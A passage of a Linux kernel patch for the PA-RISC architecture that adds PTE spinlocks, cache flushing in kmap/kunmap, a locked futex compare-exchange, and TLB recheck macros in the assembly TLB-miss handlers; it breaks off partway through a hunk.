--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -2,6 +2,7 @@
 #define _PARISC_CACHEFLUSH_H
 
 #include <linux/mm.h>
+#include <linux/uaccess.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -104,21 +105,32 @@ void mark_rodata_ro(void);
 #define ARCH_HAS_KMAP
 
 void kunmap_parisc(void *addr);
+void *kmap_parisc(struct page *page);
 
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
-	return page_address(page);
+	return kmap_parisc(page);
 }
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+static inline void *kmap_atomic(struct page *page, enum km_type idx)
+{
+	pagefault_disable();
+	return kmap_parisc(page);
+}
 
-#define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
+static inline void kunmap_atomic(void *addr, enum km_type idx)
+{
+	kunmap_parisc(addr);
+	pagefault_enable();
+}
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
-#define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
+#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
+#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
+#define kmap_atomic_to_page(ptr)	virt_to_page(kmap_atomic(virt_to_page(ptr), (enum km_type) 0))
+#define kmap_flush_unused()	do {} while(0)
 #endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0c705c3..7bc963e 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -55,6 +55,7 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 {
 	int err = 0;
 	int uval;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,10 +66,15 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
+	_atomic_spin_lock_irqsave_user(uaddr, flags);
+
 	err = get_user(uval, uaddr);
-	if (err) return -EFAULT;
-	if (uval == oldval)
-		err = put_user(newval, uaddr);
+	if (!err)
+		if (uval == oldval)
+			err = put_user(newval, uaddr);
+
+	_atomic_spin_unlock_irqrestore_user(uaddr, flags);
+
 	if (err) return -EFAULT;
 	return uval;
 }
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..4de5bb1 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -30,15 +30,21 @@
  */
 #define kern_addr_valid(addr)	(1)
 
+extern spinlock_t pa_pte_lock;
+extern spinlock_t pa_tlb_lock;
+
 /* Certain architectures need to do special things when PTEs
  * within a page table are directly modified.  Thus, the following
  * hook is made available.
  */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
+#define set_pte(pteptr, pteval)					\
+        do {							\
+		unsigned long flags;				\
+		spin_lock_irqsave(&pa_pte_lock, flags);		\
                 *(pteptr) = (pteval);                           \
+		spin_unlock_irqrestore(&pa_pte_lock, flags);	\
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+#define set_pte_at(mm,addr,ptep,pteval)	set_pte(ptep, pteval)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -262,6 +268,7 @@ extern unsigned long *empty_zero_page;
 #define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(mm,addr,xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_same(A,B)	(pte_val(A) == pte_val(B))
 
 #define pmd_flag(x)	(pmd_val(x) & PxD_FLAG_MASK)
 #define pmd_address(x)	((unsigned long)(pmd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
@@ -423,56 +430,82 @@ extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 #define __pte_to_swp_entry(pte)		((swp_entry_t) { pte_val(pte) })
 #define __swp_entry_to_pte(x)		((pte_t) { (x).val })
 
-static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+static inline void __flush_tlb_page(struct mm_struct *mm, unsigned long addr)
 {
-#ifdef CONFIG_SMP
-	if (!pte_young(*ptep))
-		return 0;
-	return test_and_clear_bit(xlate_pabit(_PAGE_ACCESSED_BIT), &pte_val(*ptep));
-#else
-	pte_t pte = *ptep;
-	if (!pte_young(pte))
-		return 0;
-	set_pte_at(vma->vm_mm, addr, ptep, pte_mkold(pte));
-	return 1;
-#endif
+	unsigned long flags;
+
+	/* For one page, it's not worth testing the split_tlb variable.  */
+	spin_lock_irqsave(&pa_tlb_lock, flags);
+	mtsp(mm->context,1);
+	pdtlb(addr);
+	pitlb(addr);
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 }
 
-extern spinlock_t pa_dbit_lock;
+static inline int ptep_set_access_flags(struct vm_area_struct *vma, unsigned
+ long addr, pte_t *ptep, pte_t entry, int dirty)
+{
+	int changed;
+	unsigned long flags;
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	changed = !pte_same(*ptep, entry);
+	if (changed) {
+		*ptep = entry;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+	if (changed) {
+		__flush_tlb_page(vma->vm_mm, addr);
+	}
+	return changed;
+}
+
+static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+{
+	pte_t pte;
+	unsigned long flags;
+	int r;
+
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	pte = *ptep;
+	if (pte_young(pte)) {
+		*ptep = pte_mkold(pte);
+		r = 1;
+	} else {
+		r = 0;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+
+	return r;
+}
 
 struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-	pte_t old_pte;
-	pte_t pte;
+	pte_t pte, old_pte;
+	unsigned long flags;
 
-	spin_lock(&pa_dbit_lock);
+	spin_lock_irqsave(&pa_pte_lock, flags);
 	pte = old_pte = *ptep;
 	pte_val(pte) &= ~_PAGE_PRESENT;
 	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte_at(mm,addr,ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	*ptep = pte;
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
 
 	return old_pte;
 }
 
 static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
-	unsigned long new, old;
+	pte_t old_pte;
+	unsigned long flags;
 
-	do {
-		old = pte_val(*ptep);
-		new = pte_val(pte_wrprotect(__pte (old)));
-	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
-#else
-	pte_t old_pte = *ptep;
-	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
-#endif
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	old_pte = *ptep;
+	*ptep = pte_wrprotect(old_pte);
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+	__flush_tlb_page(mm, addr);
 }
 
-#define pte_same(A,B)	(pte_val(A) == pte_val(B))
-
 #endif /* !__ASSEMBLY__ */
 
 
@@ -504,6 +537,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 
 #define HAVE_ARCH_UNMAPPED_AREA
 
+#define __HAVE_ARCH_PTEP_SET_ACCESS_FLAGS
 #define __HAVE_ARCH_PTEP_TEST_AND_CLEAR_YOUNG
 #define __HAVE_ARCH_PTEP_GET_AND_CLEAR
 #define __HAVE_ARCH_PTEP_SET_WRPROTECT
diff --git a/arch/parisc/include/asm/system.h b/arch/parisc/include/asm/system.h
index d91357b..4653c77 100644
--- a/arch/parisc/include/asm/system.h
+++ b/arch/parisc/include/asm/system.h
@@ -160,7 +160,7 @@ static inline void set_eiem(unsigned long val)
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
-#define __ldcw_align(a) ((volatile unsigned int *)a)
+#define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
 #endif /*!CONFIG_PA20*/
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index ec787b4..b2f35b2 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -137,6 +137,7 @@ int main(void)
 	DEFINE(TASK_PT_IAOQ0, offsetof(struct task_struct, thread.regs.iaoq[0]));
 	DEFINE(TASK_PT_IAOQ1, offsetof(struct task_struct, thread.regs.iaoq[1]));
 	DEFINE(TASK_PT_CR27, offsetof(struct task_struct, thread.regs.cr27));
+	DEFINE(TASK_PT_SYSCALL_RP, offsetof(struct task_struct, thread.regs.pad0));
 	DEFINE(TASK_PT_ORIG_R28, offsetof(struct task_struct, thread.regs.orig_r28));
 	DEFINE(TASK_PT_KSP, offsetof(struct task_struct, thread.regs.ksp));
 	DEFINE(TASK_PT_KPC, offsetof(struct task_struct, thread.regs.kpc));
@@ -225,6 +226,7 @@ int main(void)
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
 	DEFINE(PT_IAOQ1, offsetof(struct pt_regs, iaoq[1]));
 	DEFINE(PT_CR27, offsetof(struct pt_regs, cr27));
+	DEFINE(PT_SYSCALL_RP, offsetof(struct pt_regs, pad0));
 	DEFINE(PT_ORIG_R28, offsetof(struct pt_regs, orig_r28));
 	DEFINE(PT_KSP, offsetof(struct pt_regs, ksp));
 	DEFINE(PT_KPC, offsetof(struct pt_regs, kpc));
@@ -290,5 +292,11 @@ int main(void)
 	BLANK();
 	DEFINE(ASM_PDC_RESULT_SIZE, NUM_PDC_RESULT * sizeof(unsigned long));
 	BLANK();
+
+#ifdef CONFIG_SMP
+	DEFINE(ASM_ATOMIC_HASH_SIZE_SHIFT, __builtin_ffs(ATOMIC_HASH_SIZE)-1);
+	DEFINE(ASM_ATOMIC_HASH_ENTRY_SHIFT, __builtin_ffs(sizeof(__atomic_hash[0]))-1);
+#endif
+
 	return 0;
 }
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index b6ed34d..a9a4e44 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -336,9 +336,9 @@ __flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr)
 	}
 }
 
-void flush_dcache_page(struct page *page)
+static void flush_user_dcache_page_internal(struct address_space *mapping,
+					    struct page *page)
 {
-	struct address_space *mapping = page_mapping(page);
 	struct vm_area_struct *mpnt;
 	struct prio_tree_iter iter;
 	unsigned long offset;
@@ -346,14 +346,6 @@ void flush_dcache_page(struct page *page)
 	pgoff_t pgoff;
 	unsigned long pfn = page_to_pfn(page);
 
-
-	if (mapping && !mapping_mapped(mapping)) {
-		set_bit(PG_dcache_dirty, &page->flags);
-		return;
-	}
-
-	flush_kernel_dcache_page(page);
-
 	if (!mapping)
 		return;
 
@@ -387,6 +379,19 @@ void flush_dcache_page(struct page *page)
 	}
 	flush_dcache_mmap_unlock(mapping);
 }
+
+void flush_dcache_page(struct page *page)
+{
+	struct address_space *mapping = page_mapping(page);
+
+	if (mapping && !mapping_mapped(mapping)) {
+		set_bit(PG_dcache_dirty, &page->flags);
+		return;
+	}
+
+	flush_kernel_dcache_page(page);
+	flush_user_dcache_page_internal(mapping, page);
+}
 EXPORT_SYMBOL(flush_dcache_page);
 
 /* Defined in arch/parisc/kernel/pacache.S */
@@ -395,15 +400,12 @@ EXPORT_SYMBOL(flush_kernel_dcache_page_asm);
 EXPORT_SYMBOL(flush_data_cache_local);
 EXPORT_SYMBOL(flush_kernel_icache_range_asm);
 
-void clear_user_page_asm(void *page, unsigned long vaddr)
+static void clear_user_page_asm(void *page, unsigned long vaddr)
 {
-	unsigned long flags;
 	/* This function is implemented in assembly in pacache.S */
 	extern void __clear_user_page_asm(void *page, unsigned long vaddr);
 
-	purge_tlb_start(flags);
 	__clear_user_page_asm(page, vaddr);
-	purge_tlb_end(flags);
 }
 
 #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
@@ -440,7 +442,6 @@ void __init parisc_setup_cache_timing(void)
 }
 
 extern void purge_kernel_dcache_page(unsigned long);
-extern void clear_user_page_asm(void *page, unsigned long vaddr);
 
 void clear_user_page(void *page, unsigned long vaddr, struct page *pg)
 {
@@ -470,21 +471,9 @@ void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 {
 	/* no coherency needed (all in kmap/kunmap) */
 	copy_user_page_asm(vto, vfrom);
-	if (!parisc_requires_coherency())
-		flush_kernel_dcache_page_asm(vto);
 }
 EXPORT_SYMBOL(copy_user_page);
 
-#ifdef CONFIG_PA8X00
-
-void kunmap_parisc(void *addr)
-{
-	if (parisc_requires_coherency())
-		flush_kernel_dcache_page_addr(addr);
-}
-EXPORT_SYMBOL(kunmap_parisc);
-#endif
-
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -577,3 +566,25 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 		__flush_cache_page(vma, vmaddr);
 
 }
+
+void *kmap_parisc(struct page *page)
+{
+	/* this is a killer.  There's no easy way to test quickly if
+	 * this page is dirty in any userspace.  Additionally, for
+	 * kernel alterations of the page, we'd need it invalidated
+	 * here anyway, so currently flush (and invalidate)
+	 * universally */
+	flush_user_dcache_page_internal(page_mapping(page), page);
+	return page_address(page);
+}
+EXPORT_SYMBOL(kmap_parisc);
+
+void kunmap_parisc(void *addr)
+{
+	/* flush and invalidate the kernel mapping.  We need the
+	 * invalidate so we don't have stale data at this cache
+	 * location the next time the page is mapped */
+	flush_kernel_dcache_page_addr(addr);
+}
+EXPORT_SYMBOL(kunmap_parisc);
+
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 3a44f7f..e1c0128 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -45,7 +45,7 @@
 	.level 2.0
 #endif
 
-	.import         pa_dbit_lock,data
+	.import         pa_pte_lock,data
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -364,32 +364,6 @@
 	.align		32
 	.endm
 
-	/* The following are simple 32 vs 64 bit instruction
-	 * abstractions for the macros */
-	.macro		EXTR	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	extrd,u		\reg1,32+(\start),\length,\reg2
-#else
-	extrw,u		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEP	reg1,start,length,reg2
-#ifdef CONFIG_64BIT
-	depd		\reg1,32+(\start),\length,\reg2
-#else
-	depw		\reg1,\start,\length,\reg2
-#endif
-	.endm
-
-	.macro		DEPI	val,start,length,reg
-#ifdef CONFIG_64BIT
-	depdi		\val,32+(\start),\length,\reg
-#else
-	depwi		\val,\start,\length,\reg
-#endif
-	.endm
-
 	/* In LP64, the space contains part of the upper 32 bits of the
 	 * fault.  We have to extract this and place it in the va,
 	 * zeroing the corresponding bits in the space register */
@@ -442,19 +416,19 @@
 	 */
 	.macro		L2_ptep	pmd,pte,index,va,fault
 #if PT_NLEVELS == 3
-	EXTR		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
+	extru		\va,31-ASM_PMD_SHIFT,ASM_BITS_PER_PMD,\index
 #else
-	EXTR		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
+	extru		\va,31-ASM_PGDIR_SHIFT,ASM_BITS_PER_PGD,\index
 #endif
-	DEP             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	dep             %r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	copy		%r0,\pte
 	ldw,s		\index(\pmd),\pmd
 	bb,>=,n		\pmd,_PxD_PRESENT_BIT,\fault
-	DEP		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
+	dep		%r0,31,PxD_FLAG_SHIFT,\pmd /* clear flags */
 	copy		\pmd,%r9
 	SHLREG		%r9,PxD_VALUE_SHIFT,\pmd
-	EXTR		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
-	DEP		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
+	extru		\va,31-PAGE_SHIFT,ASM_BITS_PER_PTE,\index
+	dep		%r0,31,PAGE_SHIFT,\pmd  /* clear offset */
 	shladd		\index,BITS_PER_PTE_ENTRY,\pmd,\pmd
 	LDREG		%r0(\pmd),\pte		/* pmd is now pte */
 	bb,>=,n		\pte,_PAGE_PRESENT_BIT,\fault
@@ -488,13 +462,44 @@
 	L2_ptep		\pgd,\pte,\index,\va,\fault
 	.endm
 
+	/* SMP lock for consistent PTE updates.  Unlocks and jumps
+	   to FAULT if the page is not present.  Note the preceeding
+	   load of the PTE can't be deleted since we can't fault holding
+	   the lock.  */ 
+	.macro		pte_lock	ptep,pte,spc,tmp,tmp1,fault
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,2f
+	load32		PA(pa_pte_lock),\tmp1
+1:
+	LDCW		0(\tmp1),\tmp
+	cmpib,COND(=)         0,\tmp,1b
+	nop
+	LDREG		%r0(\ptep),\pte
+	bb,<,n		\pte,_PAGE_PRESENT_BIT,2f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+	b,n		\fault
+2:
+#endif
+	.endm
+
+	.macro		pte_unlock	spc,tmp,tmp1
+#ifdef CONFIG_SMP
+	cmpib,COND(=),n        0,\spc,1f
+	ldi             1,\tmp
+	stw             \tmp,0(\tmp1)
+1:
+#endif
+	.endm
+
 	/* Set the _PAGE_ACCESSED bit of the PTE.  Be clever and
 	 * don't needlessly dirty the cache line if it was already set */
-	.macro		update_ptep	ptep,pte,tmp,tmp1
-	ldi		_PAGE_ACCESSED,\tmp1
-	or		\tmp1,\pte,\tmp
-	and,COND(<>)	\tmp1,\pte,%r0
-	STREG		\tmp,0(\ptep)
+	.macro		update_ptep	ptep,pte,tmp
+	bb,<,n		\pte,_PAGE_ACCESSED_BIT,1f
+	ldi		_PAGE_ACCESSED,\tmp
+	or		\tmp,\pte,\pte
+	STREG		\pte,0(\ptep)
+1:
 	.endm
 
 	/* Set the dirty bit (and accessed bit).  No need to be
@@ -605,7 +610,7 @@
 	depdi		0,31,32,\tmp
 #endif
 	copy		\va,\tmp1
-	DEPI		0,31,23,\tmp1
+	depi		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
 	depd,z		\prot,8,7,\prot
@@ -622,6 +627,39 @@
 	or		%r26,%r0,\pte
 	.endm 
 
+	/* Save PTE for recheck if SMP.  */
+	.macro		save_pte	pte,tmp
+#ifdef CONFIG_SMP
+	copy		\pte,\tmp
+#endif
+	.endm
+
+	/* Reload the PTE and purge the data TLB entry if the new
+	   value is different from the old one.  */
+	.macro		dtlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pdtlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
+	.macro		itlb_recheck	ptep,old_pte,spc,va,tmp
+#ifdef CONFIG_SMP
+	LDREG		%r0(\ptep),\tmp
+	cmpb,COND(=),n	\old_pte,\tmp,1f
+	mfsp		%sr1,\tmp
+	mtsp		\spc,%sr1
+	pitlb,l		%r0(%sr1,\va)
+	mtsp		\tmp,%sr1
+1:
+#endif
+	.endm
+
 
 	/*
 	 * Align fault_vector_20 on 4K boundary so that both
@@ -758,6 +796,10 @@ ENTRY(__kernel_thread)
 
 	STREG	%r22, PT_GR22(%r1)	/* save r22 (arg5) */
 	copy	%r0, %r22		/* user_tid */
+	copy	%r0, %r21		/* child_tid */
+#else
+	stw	%r0, -52(%r30)	     	/* user_tid */
+	stw	%r0, -56(%r30)	     	/* child_tid */
 #endif
 	STREG	%r26, PT_GR26(%r1)  /* Store function & argument for child */
 	STREG	%r25, PT_GR25(%r1)
@@ -765,7 +807,7 @@ ENTRY(__kernel_thread)
 	ldo	CLONE_VM(%r26), %r26   /* Force CLONE_VM since only init_mm */
 	or	%r26, %r24, %r26      /* will have kernel mappings.	 */
 	ldi	1, %r25			/* stack_start, signals kernel thread */
-	stw	%r0, -52(%r30)	     	/* user_tid */
+	ldi	0, %r23			/* child_stack_size */
 #ifdef CONFIG_64BIT
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
@@ -972,7 +1014,10 @@ intr_check_sig:
 	BL	do_notify_resume,%r2
 	copy	%r16, %r26			/* struct pt_regs *regs */
 
-	b,n	intr_check_sig
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 intr_restore:
 	copy            %r16,%r29
@@ -997,13 +1042,6 @@ intr_restore:
 
 	rfi
 	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
-	nop
 
 #ifndef CONFIG_PREEMPT
 # define intr_do_preempt	intr_restore
@@ -1026,14 +1064,12 @@ intr_do_resched:
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	ldil	L%intr_check_sig, %r2
-#ifndef CONFIG_64BIT
-	b	schedule
-#else
-	load32	schedule, %r20
-	bv	%r0(%r20)
-#endif
-	ldo	R%intr_check_sig(%r2), %r2
+	BL	schedule,%r2
+	nop
+	mfctl   %cr30,%r16		/* Reload */
+	LDREG	TI_TASK(%r16), %r16	/* thread_info -> task_struct */
+	b	intr_check_sig
+	ldo	TASK_REGS(%r16),%r16
 
 	/* preempt the current task on returning to kernel
 	 * mode from an interrupt, iff need_resched is set,
@@ -1214,11 +1250,14 @@ dtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,dtlb_check_alias_20w
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_20w
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1238,11 +1277,10 @@ nadtlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,nadtlb_check_flush_20w
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1272,8 +1310,11 @@ dtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_11
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_11
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1283,6 +1324,7 @@ dtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1321,11 +1363,9 @@ nadtlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_11
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
@@ -1333,6 +1373,7 @@ nadtlb_miss_11:
 	idtlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1368,13 +1409,17 @@ dtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,dtlb_check_alias_20
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,dtlb_check_alias_20
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 
 	idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1394,13 +1439,13 @@ nadtlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,nadtlb_check_flush_20
 
-	update_ptep	ptp,pte,t0,t1
-
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0
 	
         idtlbt          pte,prot
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1508,11 +1553,14 @@ itlb_miss_20w:
 
 	L3_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-	
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1526,8 +1574,11 @@ itlb_miss_11:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
 	mfsp		%sr1,t0  /* Save sr1 so we can use it in tlb inserts */
@@ -1537,6 +1588,7 @@ itlb_miss_11:
 	iitlbp		prot,(%sr1,va)
 
 	mtsp		t0, %sr1	/* Restore sr1 */
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1548,13 +1600,17 @@ itlb_miss_20:
 
 	L2_ptep		ptp,pte,t0,va,itlb_fault
 
-	update_ptep	ptp,pte,t0,t1
+	pte_lock	ptp,pte,spc,t0,t1,itlb_fault
+	update_ptep	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
 
 	f_extend	pte,t0	
 
 	iitlbt          pte,prot
+	itlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1570,29 +1626,14 @@ dbit_trap_20w:
 
 	L3_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20w
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20w:
-	LDCW		0(t0),t1
-	cmpib,COND(=)         0,t1,dbit_spin_20w
-	nop
-
-dbit_nolock_20w:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb	spc,pte,prot
-		
 	idtlbt          pte,prot
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_20w
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_20w:
-#endif
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1606,35 +1647,21 @@ dbit_trap_11:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_11
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_11:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_11
-	nop
-
-dbit_nolock_11:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
+	update_dirty	ptp,pte,t0
+	pte_unlock	spc,t0,t1
 
+	save_pte	pte,t1
 	make_insert_tlb_11	spc,pte,prot
 
-	mfsp            %sr1,t1  /* Save sr1 so we can use it in tlb inserts */
+	mfsp            %sr1,t0  /* Save sr1 so we can use it in tlb inserts */
 	mtsp		spc,%sr1
 
 	idtlba		pte,(%sr1,va)
 	idtlbp		prot,(%sr1,va)
 
-	mtsp            t1, %sr1     /* Restore sr1 */
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nounlock_11
-	ldi             1,t1
-	stw             t1,0(t0)
-
-dbit_nounlock_11:
-#endif
+	mtsp            t0, %sr1     /* Restore sr1 */
+	dtlb_recheck	ptp,t1,spc,va,t0
 
 	rfir
 	nop
@@ -1646,32 +1673,17 @@ dbit_trap_20:
 
 	L2_ptep		ptp,pte,t0,va,dbit_fault
 
-#ifdef CONFIG_SMP
-	cmpib,COND(=),n        0,spc,dbit_nolock_20
-	load32		PA(pa_dbit_lock),t0
-
-dbit_spin_20:
-	LDCW		0(t0),t1
-	cmpib,=         0,t1,dbit_spin_20
-	nop
-
-dbit_nolock_20:
-#endif
-	update_dirty	ptp,pte,t1
+	pte_lock	ptp,pte,spc,t0,t1,dbit_fault
